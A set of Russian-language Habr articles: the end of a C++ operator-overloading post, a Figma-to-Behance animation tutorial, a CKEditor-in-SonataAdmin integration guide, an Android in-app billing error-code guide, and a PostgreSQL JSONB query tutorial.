if (auto res = "true" in some_map)
{
res->second = "false";
}
```
Выглядит приятнее.
Больше примеров перегрузок можно увидеть тут [github.com/ChaosOptima/operator\_in](https://github.com/ChaosOptima/operator_in)
На основе принципа реализации данного оператора также не составит проблем реализовать
и другие операторы и выражения, например.
```
negative = FROM some_vector WHERE [](int x){return x < 0;};
```
**P.S.**Хотелось бы узнать, интересны ли вам подобные темы, есть ли смысл писать об этом тут? И хотелось бы вам узнать как реализовать другие интересные штуки?
null-conditional operator
```
auto result = $if some_ptr $->func1()$->func2()$->func3(10, 11, 0)$endif;
```
patern matching
```
succes = patern_match val
with_type(int x)
{
cout << "some int " << x << '\n';
}
with_cast(const std::vector& items)
{
for (auto&& val : items)
std::cout << val << ' ';
std::cout << '\n';
}
with(std::string()) [&](const std::string&)
{
cout << "empty string\n";
}
with(oneof("one", "two", "three")) [&](const std::string& value)
{
cout << value << "\n";
}
with\_cast(const std::string& str)
{
cout << "some str " << str << '\n';
}
at\_default
{
cout << "no match";
};
```
string enum
```
StringEnum Power $def
(
POW0,
POW1,
POW2 = POW1 * 2,
POW3,
POW4 = POW3 + 1,
POW8 = POW4 * 2,
POW9,
POW10
);
to_string(Power::POW0)
from_string("POW0")
``` | https://habr.com/ru/post/419579/ | null | ru | null |
# Анимация в Figma от 0 до постинга на Behance
Новичок в веб-дизайне? Восхищаешься красивыми анимированными кейсами на Behance, но не знаешь, как сделать анимацию и добавить видео в свою презентацию? Тогда эта статья специально для тебя: я пошагово расскажу, что надо делать!
### Проблемы
При подготовке презентации своего нового проекта для Behance я столкнулась с такими проблемами:
* Идея моей анимации слишком сложная, и ни один тьюториал не смог мне подсказать, как воплотить её в реальность;
* Видеохостинг Vimeo изменился и перестал делать, как я хочу;
* На Behance видео постится с дефолтным плеером и выглядит некрасиво.
### Моя анимация
Я делала лендинг в рамках учебного проекта Логомашины. Тема «мужская парфюмерная вода Feromon 47». На Behance уже, как минимум, больше сотни концептов на эту тему! Поэтому мне необходимо было сделать что-то необычное и, конечно же, создать качественную интересную анимацию. Вот самая сложная из них:
### Как сделать
Конечно, мне проще было сделать её в After Effects, но у меня была идея-фикс научиться, наконец, анимации именно в Figma!
**Шаг 1.** Придумываем крутую идею для нашей анимации. Если в голову ничего крутого не приходит, то смотрим референсы на <https://www.awwwards.com/>, например. Я подсмотрела там идею для анимации заголовков, но, в итоге, от неё отказалась.
Моя идея была такова: пользователь видит, что это блок с описанием нот аромата, наводит мышку на любую из картинок, и видит гифку в треугольнике по центру, и более-менее понимает, что это за растения, и как может пахнуть Feromon 47, т.е. идея сделать визуализацию аромата.
**Шаг 2.** Делаем макет будущей анимации в Figma.
**Шаг 3.**Далее смотрим на Youtube тьюториалы по анимации в Figma в зависимости от того, что и как именно хотим заанимировать, например:
<https://youtu.be/3biJU63iS5M>
<https://youtu.be/ExKJPcM83ss>
<https://youtu.be/AL-tpUbfino>
**Шаг 4.** Получаем просветление и понимание того, как нам надо дорисовать макет для анимации, чтобы он работал, и делаем это.
**Шаг 5.** Заходим в режим прототипа и проводим стрелочки для соединения нужных фреймов и настраиваем параметры нашей анимации. Я очень долго тыкалась в настройках, пробуя различные варианты, потому что результаты получались очень неожиданными, а тьюториалы я не смотрела.
Чтобы фрейм треугольника не перекрывал нижние карточки делаем Flattern (правой кнопкой мыши). Если это тоже не помогает, то рисуем хитрый маленький невидимый треугольник поверх большого треугольника, и к нему привязываем анимацию!**Шаг 6.** Добиваемся того, чтобы наша основная анимация работала, как было задумано. Например, в своей анимации я выбрала мгновенную (instant) анимацию по наведению (while hovering), чтобы при наведении мышки на каждую из фотографий гифка в треугольнике сменялась мгновенно. Приятным и неожиданным сюрпризом для меня стало то, что гифки реально проигрываются.
**Шаг 7.** Ни в коем случае не пытаемся проделать то же самое с заголовками - ничего не получится, проверено! Если у вас такая же многоуровневая анимация, как в моём проекте, то для заголовков необходимо использовать уже другой вид анимации в Figma - анимацию через компоненты. Спасибо кураторам Логомашины за то, что подсказали мне поискать тьюториалы именно на эту тему:
**Шаг 8.** Получаем новое просветление, в моём случае готовим 2 варианта заголовков: невидимые (0% непрозрачности) и видимые (100% непрозрачности), потому что заголовки должны мягко проявляться. Выделяем их вместе и оборачиваем в компоненты (create multiple components). Затем создаём наши варианты (create as variants). Я назвала варианты «Default» и «Normal» соответственно.
**Шаг 9.** Настраиваем несложную анимацию в режиме прототипа.
**Шаг 10.**Кликаем на варианты «Default» и с зажатым Alt дублируем их в нужные места нашего макета с основной анимацией. Лично я сперва продублировала их на отдельный фрейм для удобства и потом уже с него перетащила эти невидимые заголовки на места макета, где должна была проявиться моя анимация заголовков. Фото не прикладываю, потому что они, всё равно, невидимые.
**Шаг 11.** Готово! Вы прекрасны! В режиме прототипа проигрываем нашу анимацию, наслаждаемся и пожинаем лавры.
### Подготовка видео
**Шаг 1.** В режиме full screen делаем запись экрана, например, с помощью Loom (расширение для Google) и загружаем видео на компьютер.
**Шаг 2.**Далее в Photoshop обрезаем наше видео, а также кадрируем. Это можно сделать и в онлайн-редакторах, но не все они кадрируют или показывают изображение покадрово, поэтому теперь я делаю это в Photoshop.
**Шаг3.**Лично у меня в моей анимации возник неприятный момент: при переносе курсора мыши с одной фотографии на другую при попадании курсора на пустую область экрана в треугольнике стало на миг появляться дефолтное изображение треугольника. Поэтому я вырезала эти кадры из видео, и проблема решилась!
**Шаг 4.**Также я ускорила своё видео до 250% и экспортировала в mp4.
### Выгрузка видео на видеохостинг
*В этот раз именно выгрузка на видеохостинг затормозила мой процесс и повергла в уныние, потому что всё на Vimeo изменилось, и на бесплатном тарифе у меня ничего не получалось. Перед сном я почитала «Размышления» Марка Аврелия и смирилась с тем, что в моей презентации не будет анимации, ведь, всё равно, «все мы скоро распадёмся на первостихии, и память о нас сотрётся». Однако наутро всё волшебным образом получилось!*
Для того, чтобы на Behance наше видео было нужного размера и стало зацикленным, необходимо сперва выгрузить его на какой-нибудь видеохостинг. Я использую Vimeo, потому что там можно бесплатно выставить свои опции для видео.
Хочу предупредить, что интерфейс Vimeo изменился плюс теперь из России им можно полноценно пользоваться только с VPN!
Для того, чтобы выставить нужные опции, заходим справа в расширенные настройки (advanced settings).
Далее, слева, в разделе General убираем галочку «People can add to collections».
Идём в раздел Embed и убираем галочки «Like», «Watch later», «Share». Там же убираем галочки с «Profile picture», «Title», «Byline».
Это нужно для того, чтобы на Behance мы не видели дефолтный плеер с нашей аватаркой, названием видео, нашим именем, т.е., чтобы было красиво. Сохраняемся. Если найдём кнопку Save. Потому что, лично у меня, она постоянно куда-то мигрирует. Например, она может проявиться в разделе General. Главное, без паники, как учит нас Марк Аврелий!
### Выгрузка видео на Behance
**Шаг 1.**Копируем ID нашего видео (номер видео виден в ссылке прямо над видео). Вставляем ID в следующий embed-код перед знаком вопроса:
**Шаг 2.** Шагаем на Behance и в нашей презентации выбираем Embed и вставляем туда наш код.
Готово! Вы восхитительны! Любуемся нашим зацикленным видео без разноцветного плеера, аватарки ит.д. и пожинаем лавры!
Мою итоговую презентацию со всеми анимациями можно [посмотреть здесь](https://www.behance.net/gallery/157929193/Perfume-landing-page-concept).
Благодарю за внимание и желаю вдохновения и качественных анимашек! | https://habr.com/ru/post/704292/ | null | ru | null |
# Интеграция CKEditor в SonataAdminBundle
Собственно говоря, встраивается этот WYSIWYG редактор “легким движением руки”. Необходимо лишь загрузить его javascript код на страницу админки и добавить класс “ckeditor” к необходимому textarea полю. Но есть и один нехороший подводный камень, о котором я и написал в посте.
Встраивается [CKEditor](http://ckeditor.com/) внутрь [SonataAdminBundle](https://github.com/sonata-project/SonataAdminBundle) в три простых шага:
##### 1. Создаем свой шаблон страницы редактирования SonataAdminBundle
AcmeDemoBundle::sonata\_admin\_base\_layout.html.twig
```
{% extends 'SonataAdminBundle::standard_layout.html.twig' %}
{% block javascripts %}
{{ parent() }}
{% endblock %}
```
##### 2. Подключаем свой шаблон в файле конфигурации config.yml
```
sonata_admin:
...
templates:
layout: AcmeDemoBundle::sonata_admin_base_layout.html.twig
```
##### 3. Выводим элемент формы с классом ckeditor:
```
protected function configureFormFields(FormMapper $form)
{
…
$form
->with('General')
…
->add(‘text’, ‘textarea’, array(‘attr’=>array(‘class’=>’ckeditor’)));
….
}
```
Вот собственно и все. Однако как и многие вещи, делаемые “легким движением руки”, встраивается редактор слегка криво, что видно на скриншоте. Все диалоговые окна искажены, непонятные отступы и т. п. Редактор становится практически “неюзабельным”. Происходит это из-за того, что разработчики в Sonata задали слишком общие CSS селекторы, которые и наследуются элементами ckEditor.
Каково же решение проблемы? Оно очень просто. Необходимо переопределить CSS оформление искаженных элементов. Ну и для того, чтобы не мучить дорогого читателя выискиванием и исправлением стилей искаженных элементов с Firebug`ом, ниже приводится готовый CSS блок, который просто необходимо вставить в тот же файл шаблона AcmeDemoBundle::sonata\_admin\_base\_layout.html.twig
```
{% block stylesheets %}
{{ parent() }}
.cke\_skin\_kama table{
width: inherit;
margin: inherit;
}
.cke\_skin\_kama input, .cke\_skin\_kama textarea, .cke\_skin\_kama select{
width: inherit;
-webkit-transition: none;
-moz-transition: none;
-ms-transition: none;
-o-transition: none;
transition: none;
-webkit-box-shadow: none;
-moz-box-shadow: none;
box-shadow: none;
}
.cke\_skin\_kama label{
padding-top: inherit;
line-height: inherit;
float: inherit;
width: inherit;
color: inherit;
text-align: inherit;
}
.cke\_skin\_kama table td{
border-top: none;
}
.cke\_skin\_kama table th, .cke\_skin\_kama table td{
padding: 0px;
line-height: inherit;
}
.cke\_skin\_kama select{
height: inherit;
}
.cke\_skin\_kama input, .cke\_skin\_kama textarea{
display: inherit;
border-radius: 0px;
line-height: inherit;
}
{% endblock stylesheets %}
```
Как видим на скриншоте ниже, все основные проблемы и искажения исправлены. Редактором стало возможно пользоваться, чему несказанно рады и я и заказчик.
##### P.S.
Вполне возможно, что я не доглядел еще каких-то искаженных элементов внутри других диалоговых окон, и css файл нужно дополнить новыми правилами. Если вы заметили и исправили этот недочет, не поленитесь добавить соответствующий стиль в комментарии — давайте облегчим жизнь своих собратьев-разработчиков. | https://habr.com/ru/post/142304/ | null | ru | null |
# Android in-app purchases, часть 4: коды ошибок от Billing Library и как не облажаться с тестированием
Привет, я Влад, core разработчик [Adapty SDK для Android](https://adapty.io/sdk/android?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_android_error-codes-and-testing). Продолжаю серию статей про то, как внедрять внутренние покупки в приложение Google Play. Остальные посты можно найти по ссылкам:
1. [Android in-app purchases, часть 1: конфигурация и добавление в проект.](https://habr.com/ru/company/adapty/blog/568902/)
2. [Android in-app purchases, часть 2: инициализация и обработка покупок.](https://habr.com/ru/company/adapty/blog/571122/)
3. [Android in-app purchases, часть 3: получение активных покупок и смена подписки.](https://habr.com/ru/company/adapty/blog/573058/)
4. Android in-app purchases, часть 4: коды ошибок от Billing Library и как не облажаться с тестированием. — Вы тут.
5. [Android in-app purchases, часть 5: серверная валидация покупок.](https://habr.com/ru/company/adapty/blog/576164/)
Сегодня мы поговорим о [кодах ошибок](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode), которые мы можем получить от Billing Library в методе [getResponseCode()](https://developer.android.com/reference/com/android/billingclient/api/BillingResult#getResponseCode()).
Пример того, как мы передавали ошибки в свои колбэки, можно посмотреть в [этой статье](https://habr.com/ru/company/adapty/blog/571122/). С одной ошибкой мы уже знакомы по предыдущим статьям — это [**USER\_CANCELED**](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#USER_CANCELED), когда пользователь закрывает диалог покупки, ничего не купив. Давайте познакомимся с остальными.
### Коды ошибок
Начнем с самых простых ошибок – с говорящим названием [**ERROR**](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#ERROR) (responseCode 6) и чуть более говорящим названием [**DEVELOPER\_ERROR**](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#DEVELOPER_ERROR) (responseCode 5). Для первого случая гугл пишет в документации «Fatal error during the API action», для второго – «Invalid arguments provided to the API». Например, я смог получить **DEVELOPER\_ERROR**, когда для запроса [querySkuDetailsAsync()](https://developer.android.com/reference/com/android/billingclient/api/BillingClient#querySkuDetailsAsync(com.android.billingclient.api.SkuDetailsParams,%20com.android.billingclient.api.SkuDetailsResponseListener)) в билдер в [setType()](https://developer.android.com/reference/com/android/billingclient/api/SkuDetailsParams.Builder#setType(java.lang.String)) передал пустую строку.
Но не всё так просто. Я пошел дальше и в методе [launchBillingFlow()](https://developer.android.com/reference/com/android/billingclient/api/BillingClient#launchBillingFlow(android.app.Activity,%20com.android.billingclient.api.BillingFlowParams)) использовал измененный [SkuDetails](https://developer.android.com/reference/com/android/billingclient/api/SkuDetails) (вытащил json из SkuDetails реального продукта, поменял в нем productId и передал в конструктор новому SkuDetails). По сути это invalid argument, и я ожидал получить **DEVELOPER\_ERROR**, но… получил **ERROR**.
Отдельного упоминания заслуживает текст, который показывается в диалоге в этом кейсе — сравните английский и русский вариант:
Это, конечно, был искусственный пример. Гораздо ближе к реальности кейс, когда гугл отклонил оплату. Если при тестировании покупок с тестовой карты, о чем мы расскажем в конце статьи, в диалоге покупки выбрать «test card, always declined», вернется также ошибка **ERROR**, но уже с адекватным текстом.
В [третьей статье](https://habr.com/ru/company/adapty/blog/573058/), где описывалась смена подписки, мы для одного из proration mode увеличили цену годовой подписки почти в 3 раза, но не сказали, какая там должна была быть ошибка, если бы мы этого не сделали. Исправляемся.
Так как там, получается, указан неправильный proration mode, по логике мы должны получить всё ту же **DEVELOPER\_ERROR**. Но нет, мы получаем [**SERVICE\_UNAVAILABLE**](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#SERVICE_UNAVAILABLE) (responseCode 2). Ее же мы получаем и если указать любое левое число в качестве proration mode (это int, а не enum, нас никто не остановит), и если указать неправильный purchaseToken. Смотрим в документацию про **SERVICE\_UNAVAILABLE** – «Network connection is down». Так, стоп…
При этом еще мы видим интересный диалог.
Что еще любопытно – в кейсе с **ERROR** при закрытии диалога **НЕ** через кнопку «ОК» (то есть, теми способами, которые интерпретируются как возврат назад) в [onPurchasesUpdated()](https://developer.android.com/reference/com/android/billingclient/api/PurchasesUpdatedListener#onPurchasesUpdated(com.android.billingclient.api.BillingResult,%20java.util.List%3Ccom.android.billingclient.api.Purchase%3E)) пришло, собственно, **ERROR**, а в случае с **SERVICE\_UNAVAILABLE** в аналогичном кейсе приходит **USER\_CANCELED** (но если нажать «ОК» в диалоге, то мы, как и ожидали, получим **SERVICE\_UNAVAILABLE**).
Ну и в случае с отсутствием интернета **SERVICE\_UNAVAILABLE** тоже приходит, тут не соврали.
Вот остальные коды ошибок с небольшими комментариями, так сказать, honorable mentions.
* [**BILLING\_UNAVAILABLE**](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#BILLING_UNAVAILABLE) (responseCode 3). Гугл поясняет, что «Billing API version is not supported for the type requested». Я смог воспроизвести эту ошибку, разлогинившись из Google-аккаунта, а также на Хуавее без Google Play Services. Возможно, она также воспроизведется на старых телефонах, где не обновляли Google Play.
* [**SERVICE\_DISCONNECTED**](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#SERVICE_DISCONNECTED) (responseCode -1). Приложение иногда дисконнектится от сервиса Google Play. Это может произойти, если Play Store вдруг решит обновиться. Поэтому лучше перестраховаться и коннектиться перед каждым вызовом методов Billing Library, как в предыдущих статьях. А еще мы с [гуглом](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#SERVICE_DISCONNECTED) советуем добавить какую-нибудь retry policy, если эта ошибка всё же придет в ответе.
* [**SERVICE\_TIMEOUT**](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#SERVICE_TIMEOUT) (responseCode -3). Название говорит само за себя — мы слишком долго ждали ответ от Google Play.
* [**FEATURE NOT SUPPORTED**](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#FEATURE_NOT_SUPPORTED) (responseCode -2). В классе BillingClient есть пять констант [FeatureType](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.FeatureType). Их доступность на данном устройстве можно проверять с помощью метода [billingClient.isFeatureSupported(BillingClient.FeatureType.НужнаяФича)](https://developer.android.com/reference/com/android/billingclient/api/BillingClient#isFeatureSupported(java.lang.String)). У меня на телефоне (Xiaomi Mi A2 Lite) **FEATURE\_NOT\_SUPPORTED** вернулось только для SUBSCRIPTIONS\_ON\_VR. При этом для IN\_APP\_ITEMS\_ON\_VR, как и для всех остальных фич, вернулось OK.
* [**ITEM\_NOT\_OWNED**](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#ITEM_NOT_OWNED) (responseCode 8). Возникает при попытке законсьюмить покупку, которой у нас нет. Например, повторно после успешного консьюма.
* [**ITEM\_ALREADY\_OWNED**](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#ITEM_ALREADY_OWNED) (responseCode 7). А тут наоборот – при попытке купить продукт, который у нас уже есть. В таком кейсе просто нужно обновить UI и сделать кнопку покупки некликабельной.
### Самая популярная ошибка
Последняя и, наверное, самая популярная ошибка в начале пути внедрения in-app purchases — это [**ITEM\_UNAVAILABLE**](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#ITEM_UNAVAILABLE) (responseCode 4). Она говорит о том, что продукт недоступен для покупки, но не говорит, почему. А причины могут быть самые разные: от тестирования на неправильном аккаунте или неправильной сборке до покупки неактивированного продукта.
Вот чек-лист, что нужно сделать, чтобы избежать ее при тестировании:
1. Отправить в ваш test track сборку с Billing Library. Это обязательное условие — при этом вы можете тестировать и на дебажных сборках с таким же applicationId, но важно, чтобы хотя бы один раз сборка с Billing Library была загружена в Play Console.
2. Добавить в этот test track гугл-аккаунты тестировщиков, что особенно актуально для internal testing или закрытой альфы/беты. Там же будет ссылка в разделе How testers join your test, по которой тестировщики должны будут принять приглашение.
3. Покупать можно только активированный продукт. После создания продукта в Play Console есть кнопка activate, более детально процесс создания продукта мы описывали в [первой статье](https://habr.com/ru/company/adapty/blog/568902/).
4. Удостовериться, что тестирование на устройстве проходит с гугл-аккаунта, который является тестировщиком. Очевидный пункт, но бывает всякое, и это тоже нужно проверить, если вы получили такую ошибку.
5. `applicationId` сборки, с которой тестируется покупка, должно полностью совпадать с applicationId из Play Console. Это особенно важно для тех, у кого добавляется суффикс в дебажных сборках.
6. Добавить email-адреса тестировщиков в раздел Setup → License Testing в левом меню аккаунта (не приложения), чтобы они покупали продукты бесплатно с тестовой карты, а не с реальной. Еще один плюс, что подписки в данном случае будут иметь [тестовую длительность](https://developer.android.com/google/play/billing/test#renewals). Не связано с этой ошибкой, но тоже полезное знание.
### Заключение
Ошибки способны сильно усложнить работу, поэтому всегда важно понимать, как они могут возникнуть. Учитывая, сколько шагов нужно пройти, чтобы получить доступ к продуктам, проще всего словить ITEM\_UNAVAILABLE. Поэтому я надеюсь, что мой чек-лист вам поможет.
### Про Adapty
Для более простой работы с ошибками советую попробовать Adapty SDK для внедрения внутренних покупок в приложения. Кроме технической части, Adapty даёт много преимуществ:
* [Встроенная аналитика](https://adapty.io/subscription-analytics?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_android_error-codes-and-testing) позволяет быстро понять основные метрики приложения.
* Когортный анализ отвечает на вопрос, [как быстро сходится экономика](https://habr.com/ru/company/adapty/blog/564748/).
* А/Б тесты увеличивают выручку приложения.
* Интеграции с внешними системами позволяют отправлять транзакции в сервисы атрибуции и продуктовой аналитики.
* [Промо-кампании](https://adapty.io/return-subscribers?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_android_error-codes-and-testing) уменьшают отток аудитории.
* Open source SDK позволяет интегрировать подписки в приложение за несколько часов.
* Серверная валидация и API для работы с другими платформами.
[Познакомьтесь подробнее с этими возможностями](https://adapty.io?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_android_error-codes-and-testing), чтобы быстрее внедрить подписки в своё приложение и улучшить конверсии. | https://habr.com/ru/post/575866/ | null | ru | null |
# JSONB запросы в PostgreSQL
Ранее я писал, как включить поддержку jsonb в [postgres/psycopg2](http://schinckel.net/2014/05/24/python%2C-postgres-and-jsonb/). Сегодня экспериментировал с тем, как запрашивать данные в колонках типа JSON.
На эту тему есть [документация](http://www.postgresql.org/docs/9.4/static/functions-json.html), но мне было не совсем понятно, как работают различные операции:
```
CREATE TABLE json_test (
id serial primary key,
data jsonb
);
INSERT INTO json_test (data) VALUES
('{}'),
('{"a": 1}'),
('{"a": 2, "b": ["c", "d"]}'),
('{"a": 1, "b": {"c": "d", "e": true}}'),
('{"b": 2}');
```
Запрос отработал, давайте выведем все данные, чтобы проверить:
```
SELECT * FROM json_test;
id | data
----+--------------------------------------
1 | {}
2 | {"a": 1}
3 | {"a": 2, "b": ["c", "d"]}
4 | {"a": 1, "b": {"c": "d", "e": true}}
5 | {"b": 2}
(5 rows)
```
Теперь сделаем фильтрацию результатов. Есть несколько операторов, которые мы можем использовать, и дальше увидим, почему в качестве типа выбрали jsonb.
**Равенство**
В jsonb мы можем проверить, что два JSON объекта идентичны:
```
SELECT * FROM json_test WHERE data = '{"a":1}';
id | data
----+------
1 | {"a": 1}
(1 row)
```
**Ограничения**
Также мы можем получить json объект, содержащий другой, т.е. «являющийся подмножеством»:
```
SELECT * FROM json_test WHERE data @> '{"a":1}';
```
Говорит: — Дай нам все объекты начинающиеся с ключа а и значения 1:
```
id | data
----+--------------------------------------
2 | {"a": 1}
4 | {"a": 1, "b": {"c": "d", "e": true}}
(2 rows)
```
Ограничения в обоих направлениях:
В этом случае запрос выведет пустой объект и точное совпадение для второго:
```
SELECT * FROM json_test WHERE data <@ '{"a":1}';
id | data
----+----------
1 | {}
2 | {"a": 1}
(2 rows)
```
**Существование ключ/элемент**
Последней партией операторов проверим существование ключа (или элемента типа строка в массиве).
```
id | data
----+--------------------------------------
2 | {"a": 1}
3 | {"a": 2, "b": ["c", "d"]}
4 | {"a": 1, "b": {"c": "d", "e": true}}
(3 rows)
```
Получим объекты, имеющие любые ключи из списка:
```
SELECT * FROM json_test WHERE data ?| array['a', 'b'];
id | data
----+--------------------------------------
2 | {"a": 1}
3 | {"a": 2, "b": ["c", "d"]}
4 | {"a": 1, "b": {"c": "d", "e": true}}
5 | {"b": 2}
(4 rows)
```
И все значения объектов имеющие точное соответствие ключей из списка:
```
SELECT * FROM json_test WHERE data ?& array['a', 'b'];
id | data
----+--------------------------------------
3 | {"a": 2, "b": ["c", "d"]}
4 | {"a": 1, "b": {"c": "d", "e": true}}
(2 rows)
```
**Ключи для обхода**
Вы так же можете фильтровать записи имеющие соответствие key->path. В простых случаях использование операторов ограничения может быть проще, но не в сложных, ими не обойтись. Эти операции мы можем использовать в SELECT, но все же интереснее применить их в выражении WHERE.
```
SELECT * FROM json_test WHERE data ->> 'a' > '1';
```
Получаем все записи значений ассоциативного элемента с ключом a равным 1.
Обратите внимание на необходимость использования текстового значения, а не числа:
```
id | data
----+---------------------------
3 | {"a": 2, "b": ["c", "d"]}
(1 row)
```
Можем сделать сравнение между примитивами объектов и массивов:
```
SELECT * FROM json_test WHERE data -> 'b' > '1';
id | data
----+--------------------------------------
3 | {"a": 2, "b": ["c", "d"]}
4 | {"a": 1, "b": {"c": "d", "e": true}}
5 | {"b": 2}
(3 rows)
```
Получается, что массивы и объекты больше чем цифры.
Так же можем посмотреть более глубокий path:
```
SELECT * FROM json_test WHERE data #> '{b,c}' = '"d"';
```
Получим объект, где элемент b имеет дочерний объект c, и с равен строке «d»:
```
id | data
----+--------------------------------------
4 | {"a": 1, "b": {"c": "d", "e": true}}
```
Так же есть версии этих операторов, которые возвращают текст, а не объект JSON. В случае последнего запроса это означает, что нам не нужно сравнивать с JSON объектом (в варианте, когда мы действительно хотим получить строку):
```
SELECT * FROM json_test WHERE data #>> '{b,c}' = 'd';
id | data
----+--------------------------------------
4 | {"a": 1, "b": {"c": "d", "e": true}}
(1 row)
```
Таким образом, до этого момента все хорошо. Мы можем работать с разными данными, и те же самые данные могут быть использованы в индексах jsonb тоже. Тем не менее, более внимательный читатель, возможно, заметил, что мы имеем дело с JSON данными, которые имеют путь к объекту от корня. Это не обязательно должно быть так: массивы также валидный JSON, действительно такими являются какие-либо из допустимых примеров:
```
SELECT
'null'::json,
'true'::json,
'false'::json,
'2'::json,
'1.0001'::json,
'"abc"'::json,
'1E7'::jsonb;
```
Обратите внимание на последнюю запись, которая является типом jsonb и преобразуется к канонической форме:
```
json | json | json | json | json | json | jsonb
------+------+-------+------+---------+-------+----------
null | true | false | 2 | 1.00001 | "abc" | 10000000
(1 row)
```
Так же JSON null отличается от SQL NULL.
Итак, что же происходит, когда мы храним объекты смешанного «типа» в колонке JSON?
```
INSERT INTO json_test (data)
VALUES ('[]'), ('[1,2,"a"]'), ('null'), ('1E7'), ('"abc"');
SELECT * FROM json_test;
id | data
----+--------------------------------------
1 | {}
2 | {"a": 1}
3 | {"a": 2, "b": ["c", "d"]}
4 | {"a": 1, "b": {"c": "d", "e": true}}
5 | {"b": 2}
6 | []
7 | [1, 2, "a"]
8 | null
9 | 10000000
10 | "abc"
(10 rows)
```
Вся структура вывелась без проблем. Посмотрим, можем ли мы работать с этими объектами и запросами?
Проверка равенства прекрасно работает:
```
SELECT * FROM json_test WHERE data = '{"a":1}';
SELECT * FROM json_test WHERE data = 'null';
```
Ограничения тоже работают, как ожидалось:
```
SELECT * FROM json_test WHERE data @> '{"a":1}';
SELECT * FROM json_test WHERE data <@ '{"a":1}';
```
Ключи и существующие элементы тоже работают. Не удивительно, что один запрос будет соответствовать элементам в массиве, а так же ключам в объекте:
```
SELECT * FROM json_test WHERE data ? 'a';
id | data
----+--------------------------------------
2 | {"a": 1}
3 | {"a": 2, "b": ["c", "d"]}
4 | {"a": 1, "b": {"c": "d", "e": true}}
7 | [1, 2, "a"]
(4 rows)
```
```
SELECT * FROM json_test WHERE data ?| array['a', 'b'];
id | data
----+--------------------------------------
2 | {"a": 1}
3 | {"a": 2, "b": ["c", "d"]}
4 | {"a": 1, "b": {"c": "d", "e": true}}
5 | {"b": 2}
7 | [1, 2, "a"]
(5 rows)
```
```
SELECT * FROM json_test WHERE data ?& array['a', 'b'];
id | data
----+--------------------------------------
3 | {"a": 2, "b": ["c", "d"]}
4 | {"a": 1, "b": {"c": "d", "e": true}}
(2 rows)
```
Но как только мы начали делать ключам или элементам 'get' получаем проблемы;
(Видимо у автора статьи на момент её написания был установлен PotgreSQL 9.4 betta версии, поэтому часть запросов сыпали ошибки, проверил на 9.4.1 все запросы отрабатываются):
```
SELECT * FROM json_test WHERE data ->> 'a' > '1';
ERROR: cannot call jsonb_object_field_text
(jsonb ->> text operator) on an array
```
Вы по-прежнему можете использовать обход key-path если у вас не скалярные значения:
```
SELECT * FROM json_test WHERE data #> '{b,c}' = '"d"';
ERROR: cannot call extract path from a scalar
SELECT * FROM json_test WHERE data #> '{b,c}' = '"d"' AND id < 8;
id | data
----+--------------------------------------
4 | {"a": 1, "b": {"c": "d", "e": true}}
(1 row)
```
Обратите внимание на синтаксис для key path, для строк (должны быть json ключи) или integer (в индексах массивов).
Это накладывает весьма строгие ограничения. Я не знаю, как такие вещи работают в MondgoDB.
Но в перспективе, если вы храните данные в массивах и в объектах json в одной колонке, то в дальшейшем могут быть некоторые проблемы. Но не все потеряно. Можно получить строки на основе базовых объектов:
```
SELECT * FROM json_test WHERE data @> '{}';
id | data
----+--------------------------------------
1 | {}
2 | {"a": 1}
3 | {"a": 2, "b": ["c", "d"]}
4 | {"a": 1, "b": {"c": "d", "e": true}}
5 | {"b": 2}
(5 rows)
```
Затем можно этот запрос совместить с запросом выше:
```
SELECT * FROM json_test WHERE data @> '{}' AND data ->> 'a' > '1';
id | data
----+---------------------------
3 | {"a": 2, "b": ["c", "d"]}
(1 row)
```
Действительно, в Postgres вам даже не нужно быть уверенным что data @> '{} приходит первым.
Но что делать если нам нужны только array типы данных? Оказывается можно использовать тот же трюк:
```
SELECT * FROM json_test WHERE data @> '[]';
id | data
----+-------------
6 | []
7 | [1, 2, "a"]
(2 rows)
```
И это все так же можно сочетать с другими операторами:
```
SELECT * FROM json_test WHERE data @> '[]' AND data ->> 1 = '2';
id | data
----+-------------
7 | [1, 2, "a"]
(1 row)
```
Что ж, запись @> оператора доступна только для jsonb столбцов, так что вы не сможете запросить смешанные данные для обычных json колонок.
А что дальше?
Рассмотрение jsonb в Postgres был сторонний проект, сейчас я работаю над json(b) запросами в ORM django. С Django 1.7 в функциях поиска можно будет написать, что-то вроде:
```
# Exact
MyModel.objects.filter(data={'a': 1})
MyModel.objects.exclude(data={})
# Key/element existence
MyModel.objects.filter(data__has='a')
MyModel.objects.filter(data__has_any=['a', 'b'])
MyModel.objects.filter(data__has_all=['a', 'b'])
# Sub/superset of key/value pair testing
MyModel.objects.filter(data__contains={'a': 1})
MyModel.objects.filter(data__in={'a': 1, 'b': 2})
# Get element/field (compare with json)
MyModel.objects.filter(data__get=(2, {'a': 1}))
# Get element/field (compare with scalar, including gt/lt comparisons)
MyModel.objects.filter(data__get=(2, 'a'))
MyModel.objects.filter(data__get__gt=('a', 1))
# key path traversal, compare with json or scalar.
MyModel.objects.filter(data__get=('{a,2}', {'foo': 'bar'}))
MyModel.objects.filter(data__get=('{a,2}', 2))
MyModel.objects.filter(data__get__lte=('{a,2}', 2))
```
Но я не уверен, что будут работать имена из последнего набора. Название «get» кажется немного универсальным, и может быть, мы могли использовать разные имена для подстановки входного типа, хотя только integer и string допустимы. | https://habr.com/ru/post/254425/ | null | ru | null |
# Как начать использовать DI
